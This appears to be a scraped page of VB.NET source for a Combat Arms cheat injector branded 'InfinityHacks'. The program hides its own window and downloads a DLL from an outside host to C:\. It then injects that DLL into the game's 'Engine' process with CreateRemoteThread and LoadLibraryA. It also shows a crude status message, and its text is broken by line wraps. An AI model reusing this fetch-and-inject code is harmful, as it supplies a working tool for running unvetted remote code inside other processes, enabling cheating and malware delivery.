You are on page 1of 4

Imports Imports Imports Imports Imports

System.Management System.Net System.IO System.Text System.Diagnostics

Public Class Form1 Public hwid As String = "yourhwid" Public Declare Function Start Lib "Kernel32" (ByVal StartEngine As String) A s Process

Private Private Private Private Public Public Public Public Public Public Public

TargetProcessHandle As Integer pfnStartAddr As Integer pszLibFileRemote As String TargetBufferSize As Integer Const Const Const Const Const Const Const PROCESS_VM_READ = &H10 TH32CS_SNAPPROCESS = &H2 MEM_COMMIT = 4096 PAGE_READWRITE = 4 PROCESS_CREATE_THREAD = (&H2) PROCESS_VM_OPERATION = (&H8) PROCESS_VM_WRITE = (&H20)

Public Declare Function ReadProcessMemory Lib "kernel32" ( _ ByVal hProcess As Integer, _ ByVal lpBaseAddress As Integer, _ ByVal lpBuffer As String, _ ByVal nSize As Integer, _ ByRef lpNumberOfBytesWritten As Integer) As Integer Public Declare Function LoadLibrary Lib "kernel32" Alias "LoadLibraryA" ( _ ByVal lpLibFileName As String) As Integer Public Declare Function VirtualAllocEx Lib "kernel32" ( _ ByVal hProcess As Integer, _ ByVal lpAddress As Integer, _ ByVal dwSize As Integer, _ ByVal flAllocationType As Integer, _ ByVal flProtect As Integer) As Integer Public Declare Function WriteProcessMemory Lib "kernel32" ( _ ByVal hProcess As Integer, _ ByVal lpBaseAddress As Integer, _ ByVal lpBuffer As String, _ ByVal nSize As Integer, _ ByRef lpNumberOfBytesWritten As Integer) As Integer Public Declare Function GetProcAddress Lib "kernel32" ( _ ByVal hModule As Integer, ByVal lpProcName As String) As Integer Private Declare Function GetModuleHandle Lib "Kernel32" Alias "GetModuleHand

leA" ( _ ByVal lpModuleName As String) As Integer Public Declare Function CreateRemoteThread Lib "kernel32" ( _ ByVal hProcess As Integer, _ ByVal lpThreadAttributes As Integer, _ ByVal dwStackSize As Integer, _ ByVal lpStartAddress As Integer, _ ByVal lpParameter As Integer, _ ByVal dwCreationFlags As Integer, _ ByRef lpThreadId As Integer) As Integer Public Declare Function OpenProcess Lib "kernel32" ( _ ByVal dwDesiredAccess As Integer, _ ByVal bInheritHandle As Integer, _ ByVal dwProcessId As Integer) As Integer Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" ( _ ByVal lpClassName As String, _ ByVal lpWindowName As String) As Integer Private Declare Function CloseHandle Lib "kernel32" Alias "CloseHandleA" ( _ ByVal hObject As Integer) As Integer

Dim ExeName As String = IO.Path.GetFileNameWithoutExtension(Application.Exec utablePath) Private Sub IsURLValid() Dim url As New System.Uri("http://lolvids.x10.mx/fbd.dll") Dim req As System.Net.WebRequest req = System.Net.WebRequest.Create(url) Dim resp As System.Net.WebResponse Try 'if web site exist here resp = req.GetResponse() resp.Close() req = Nothing If IO.File.Exists("C:\fbd.dll") Then IO.File.Delete("C:\fbd.dll") End If My.Computer.Network.DownloadFile("http://lolvids.x10.mx/fbd.dll", "C :\fbd.dll") Catch ex As Exception req = Nothing Label1.Text = "Could Not Connect to Server." End Try End Sub Private Sub Inject() On Error GoTo 1 Timer1.Stop() Dim TargetProcess As Process() = Process.GetProcessesByName("Engine") TargetProcessHandle = OpenProcess(PROCESS_CREATE_THREAD Or PROCESS_VM_OP ERATION Or PROCESS_VM_WRITE, False, TargetProcess(0).Id)

pszLibFileRemote = "C:\fbd.dll" pfnStartAddr = GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA ") TargetBufferSize = 1 + Len(pszLibFileRemote) Dim Rtn As Integer Dim LoadLibParamAdr As Integer LoadLibParamAdr = VirtualAllocEx(TargetProcessHandle, 0, TargetBufferSiz e, MEM_COMMIT, PAGE_READWRITE) Rtn = WriteProcessMemory(TargetProcessHandle, LoadLibParamAdr, pszLibFil eRemote, TargetBufferSize, 0) CreateRemoteThread(TargetProcessHandle, 0, 0, pfnStartAddr, LoadLibParam Adr, 0, 0) CloseHandle(TargetProcessHandle) 1: Me.Close() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.Eve ntArgs) Handles Timer1.Tick If IO.File.Exists("C:\fbd.dll") Then Dim TargetProcess As Process() = Process.GetProcessesByName("Engine" ) If TargetProcess.Length = 0 Then Label1.Text = ("Waiting on Combat Arms!...") Else Timer1.Stop() Label1.Text = "RAPED CA!" Call Inject() End If Else Label1.Text = ("Error(101), File not Detected") End If End Sub Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.Even tArgs) Handles MyBase.Load Call IsURLValid() Timer1.Interval = 50 Timer1.Start() Label2.Text = "CruizRisner InfinityHacks" Me.Opacity = 0 Using m_Process As New Process() With m_Process.StartInfo .FileName = "C:\Nexon\Combat Arms\Engine.exe" .UseShellExecute = False .CreateNoWindow = False .RedirectStandardInput = True End With Dim start As DateTime = DateTime.Now m_Process.Start() End Using End Sub Private Sub IRPARAMEUPROCESSOToolStripMenuItem_Click(ByVal sender As System. Object, ByVal e As System.EventArgs) Handles IRPARAMEUPROCESSOToolStripMenuItem. Click Process.Start("http://infinityhacks.com")

End Sub Public Sub StartEngine() Process.Start("C:\Nexon\Combat Arms\CombatArms_direct.exe.exe") End Sub End Class

You might also like